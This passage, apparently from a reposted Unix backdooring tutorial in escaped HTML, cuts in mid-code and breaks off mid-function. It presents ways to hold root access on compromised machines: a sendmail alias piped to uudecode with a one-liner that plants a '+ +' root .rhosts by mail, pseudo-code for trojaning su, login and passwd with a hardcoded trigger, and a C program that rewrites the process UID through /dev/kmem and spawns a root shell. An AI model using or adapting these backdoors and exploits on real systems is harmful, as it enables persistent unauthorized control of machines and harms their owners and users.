/&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; messages here */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* Let&#39;s look like we&#39;re doing something... */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Sychronizing bitmap image records.&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* system(&quot;ls -alR / &amp;gt;&amp;amp; /dev/null &amp;gt; /dev/null&amp;amp;&quot;); */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(;i&amp;lt;10;i++){ &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr,&quot;.&quot;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; sleep(1);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;\nDone.\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; return(0);&lt;br /&gt;} /* End main */&lt;br /&gt;&lt;br /&gt;[9] The sendmail aliases file. The sendmail aliases file allows for mail sent to a particular username to either expand to several&lt;br /&gt;users, or perhaps pipe the output to a program. Most well known of these is the uudecode alias trojan. Simply add the line: &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&quot;decode: &quot;|/usr/bin/uudecode&quot;&lt;br /&gt;&lt;br /&gt;to the /etc/aliases file. Usally, you would then create a uuencoded .rhosts file with the full pathname embedded. &lt;br /&gt;&lt;br /&gt;#! /bin/csh&lt;br /&gt;&lt;br /&gt;# Create our .rhosts file.&amp;nbsp; Note this will output to stdout.&lt;br /&gt;&lt;br /&gt;echo &quot;+ +&quot; &amp;gt; tmpfile&lt;br /&gt;/usr/bin/uuencode tmpfile /root/.rhosts&lt;br /&gt;&lt;br /&gt;Next telnet to the desired site, port 25. Simply fakemail to decode and use as the subject body, the uuencoded version of the&lt;br /&gt;.rhosts file. For a one liner (not faked, however) do this: &lt;br /&gt;&lt;br /&gt;%echo &quot;+ +&quot; | /usr/bin/uuencode /root/.rhosts | mail decode@target.com&lt;br /&gt;&lt;br /&gt;You can be as creative as you wish in this case. You can setup an alias that, when mailed to, will run a program of your&lt;br /&gt;choosing. Many of the previous scripts and methods can be employed here. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Covert&lt;br /&gt;&lt;br /&gt;[10] Trojan code in common programs. This is a rather sneaky method that is really only detectable by programs such tripwire.&lt;br /&gt;The idea is simple: insert trojan code in the source of a commonly used program. Some of most useful programs to us in this&lt;br /&gt;case are su, login and passwd because they already run SUID root, and need no permission modification. Below are some&lt;br /&gt;general examples of what you would want to do, after obtaining the correct sourcecode for the particular flavor of UNIX you&lt;br /&gt;are backdooring. (Note: This may not always be possible, as some UNIX vendors are not so generous with thier sourcecode.)&lt;br /&gt;Since the code is very lengthy and different for many flavors, I will just include basic psuedo-code: &lt;br /&gt;&lt;br /&gt;get input;&lt;br /&gt;if input is special hardcoded flag, spawn evil trojan;&lt;br /&gt;else if input is valid, continue;&lt;br /&gt;else quit with error;&lt;br /&gt;...&lt;br /&gt;&lt;br /&gt;Not complex or difficult. Trojans of this nature can be done in less than 10 lines of additional code. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;The Esoteric&lt;br /&gt;&lt;br /&gt;[11] /dev/kmem exploit. It represents the virtual of the system. Since the kernel keeps it&#39;s parameters in memory, it is possible&lt;br /&gt;to modify the memory of the machine to change the UID of your processes. To do so requires that /dev/kmem have read/write&lt;br /&gt;permission. The following steps are executed: Open the /dev/kmem device, seek to your page in memory, overwrite the UID of&lt;br /&gt;your current process, then spawn a csh, which will inherit this UID. The following program does just that. &lt;br /&gt;&lt;br /&gt;/* If /kmem is is readable and writable, this program will change the user&#39;s &lt;br /&gt;UID and GID to 0.&amp;nbsp; */&lt;br /&gt;/* This code originally appeared in &quot;UNIX security:&amp;nbsp; A practical tutorial&quot; &lt;br /&gt;with some modifications by daemon9@netcom.com */&lt;br /&gt;&lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;&lt;br /&gt;#define KEYWORD &quot;nomenclature1&quot;&lt;br /&gt;&lt;br /&gt;struct user userpage;&lt;br /&gt;long address(), userlocation;&lt;br /&gt;&lt;br /&gt;int main(argc, argv, envp)&lt;br /&gt;int argc;&lt;br /&gt;char *argv[], *envp[];{&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; int count, fd;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; long where, lseek();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(argv[1]){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; /* we&#39;ve got an argument, is it the keyword? */&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(!(strcmp(KEYWORD,argv[1]))){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fd=(open(&quot;/dev/kmem&quot;,O_RDWR);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(fd&amp;lt;0){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Cannot read or write to /dev/kmem\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; perror(argv);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(10);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; userlocation=address();&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; where=(lseek(fd,userlocation,0);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(where!=userlocation){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Cannot seek to user page\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; perror(argv);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(20); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; count=read(fd,&amp;amp;userpage,sizeof(struct user));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(count!=sizeof(struct user)){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Cannot read user page\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; perror(argv);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(30);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Current UID: %d\n&quot;,userpage.u_ruid);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Current GID: %d\n&quot;,userpage.g_ruid);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; userpage.u_ruid=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; userpage.u_rgid=0;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; where=lseek(fd,userlocation,0);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(where!=userlocation){&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; printf(&quot;Cannot seek to user page\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; perror(argv);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(40); &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; write(fd,&amp;amp;userpage,((char *)&amp;amp;(userpage.u_procp))-((char *)&amp;amp;userpage));&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; execle(&quot;/bin/csh&quot;,&quot;/bin/csh&quot;,&quot;-i&quot;,(char *)0, envp);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; } &lt;br /&gt;&lt;br /&gt;} /* End main */&lt;br /&gt;&lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;#include &lt;br /&gt;&lt;br /&gt;#define LNULL ((LDFILE *)0)&lt;br /&gt;&lt;br /&gt;long address(){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; LDFILE *object;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; SYMENT symbol;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; long idx=0;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; object=ldopen(&quot;/unix&quot;,LNULL);&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; if(!object){&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; fprintf(stderr,&quot;Cannot open /unix.\n&quot;);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; exit(50);&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; }&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; for(;ldtbread(object,idx,&amp;amp;symbol)==SUCCESS;idx++){&lt;br 